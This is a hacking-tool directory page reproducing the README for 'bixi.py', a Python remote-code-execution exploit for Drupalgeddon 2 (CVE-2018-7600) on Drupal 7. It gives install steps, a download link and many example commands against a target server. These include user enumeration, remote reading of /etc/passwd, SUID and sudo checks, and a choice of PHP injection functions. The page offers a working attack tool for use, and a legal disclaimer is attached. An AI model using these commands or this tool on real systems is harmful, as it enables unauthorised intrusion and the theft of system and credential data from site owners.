Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Drupalgeddon2-CVE-2018-7600 — Python exploit for CVE-2018-7600 (Drupalgeddon 2) enabling remote code execution on Drupal 7 with multiple injection methods and predefined commands for Linux and Windows. | Kitploit
Tools/GitHubGitHub/bixipro/drupalgeddon2-cve-2018-7600
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & Education
GitHubbixipro/drupalgeddon2-cve-2018-7600

Drupalgeddon2-CVE-2018-7600

Python exploit for CVE-2018-7600 (Drupalgeddon 2) enabling remote code execution on Drupal 7 with multiple injection methods and predefined commands for Linux and Windows.

View Repository
7 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🔥 Drupalgeddon 2 Exploit — bixi.py

📖 Description

bixi.py is an exploit for the CVE‑2018‑7600 (Drupalgeddon 2) vulnerability affecting Drupal 7. It allows remote command execution (RCE) on vulnerable Drupal servers through an intuitive interface and predefined commands.


⚠️ DISCLAIMER / LEGAL NOTICE

THIS SOFTWARE IS FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY IN CONTROLLED ENVIRONMENTS.

  • Only use on systems you own or have written permission to test
  • Unauthorized use is ILLEGAL and may result in criminal consequences
  • The author is not responsible for any misuse of this tool
  • Always comply with local and international cybersecurity laws

"With great power comes great responsibility"


📋 Features

  • ✅ Automatic exploitation of CVE‑2018‑7600
  • ✅ Predefined commands for Linux and Windows
  • ✅ Multiple injection methods (system, , , )
passthru
exec
shell_exec
  • ✅ Intuitive interface with help system
  • ✅ Robust error and timeout handling
  • ✅ Formatted and easy‑to‑read output

  • 🚀 Quick Installation

    1. Clone repository

    root@kitploit:~
    git clone https://github.com/bixiPRO/Drupalgeddon2-CVE-2018-7600.git
    cd Drupalgeddon2-CVE-2018-7600
    

    2. Install dependencies

    root@kitploit:~
    # Kali / Debian / Ubuntu
    sudo apt update
    sudo apt install python3 python3-pip -y
    pip3 install requests
    
    # Other distributions
    pip3 install requests
    

    3. Give execution permissions

    root@kitploit:~
    chmod +x bixi.py
    

    🎯 Basic Usage

    View full help

    root@kitploit:~
    python3 bixi.py --help
    

    General syntax

    root@kitploit:~
    python3 bixi.py <URL> <COMMAND/KEYWORD> [INJECTION_TYPE]
    

    Practical examples

    root@kitploit:~
    # Check vulnerability
    python3 bixi.py http://10.99.99.6/drupal/ test
    
    # Detect operating system
    python3 bixi.py http://10.99.99.6/drupal/ linux
    python3 bixi.py http://10.99.99.6/drupal/ windows
    
    # Enumerate users
    python3 bixi.py http://10.99.99.6/drupal/ users_linux
    python3 bixi.py http://10.99.99.6/drupal/ net_user
    
    # System information
    python3 bixi.py http://10.99.99.6/drupal/ ifconfig
    python3 bixi.py http://10.99.99.6/drupal/ ipconfig
    
    # Custom commands
    python3 bixi.py http://10.99.99.6/drupal/ "cat /etc/passwd"
    python3 bixi.py http://10.99.99.6/drupal/ "whoami /all"
    

    📊 Predefined Keywords

    🐧 Linux

    CommandDescription
    linuxSystem information
    users_linuxList users
    idUser/group info
    lsList files
    ifconfigNetwork info
    find_flagSearch for flags

    🪟 Windows

    CommandDescription
    windowsSystem information
    net_userList users
    whoami_winDetailed info
    ipconfigNetwork
    netstat_winConnections
    dirList directory

    🔧 Pentesting

    CommandDescription
    sudoCheck sudo privileges
    suidSearch for SUID binaries
    net_localgroupLocal groups
    drupal_configSearch for configurations
    drupal_versionGet Drupal version

    🎨 Injection Methods

    root@kitploit:~
    # system (default)
    python3 bixi.py http://target/ "whoami" system
    
    # passthru
    python3 bixi.py http://target/ "whoami" passthru
    
    # exec
    python3 bixi.py http://target/ "whoami" exec
    
    # shell_exec
    python3 bixi.py http://target/ "whoami" shell_exec
    

    🏗️ Project Structure

    root@kitploit:~
    drupalgeddon2-exploit/
    │
    ├── bixi.py
    ├── README.md
    ├── requirements.txt
    ├── examples/
    │   ├── linux_commands.txt
    │   └── windows_commands.txt
    └── screenshots/
        ├── help_screen.png
        └── exploit_success.png
    

    🔧 Advanced Configuration

    Proxy (optional)

    root@kitploit:~
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080'
    }
    

    Timeout

    Modify default value (15 seconds):

    root@kitploit:~
    timeout=15
    

    Add new commands

    Edit the commands dictionary in get_command_for_keyword()


    🐛 Troubleshooting

    Error: No module named 'requests'

    root@kitploit:~
    pip3 install requests
    

    Error: Connection refused

    root@kitploit:~
    # Check connectivity
    ping TARGET_IP
    
    # Check Drupal path
    curl http://TARGET_IP/drupal/
    
    Download Tool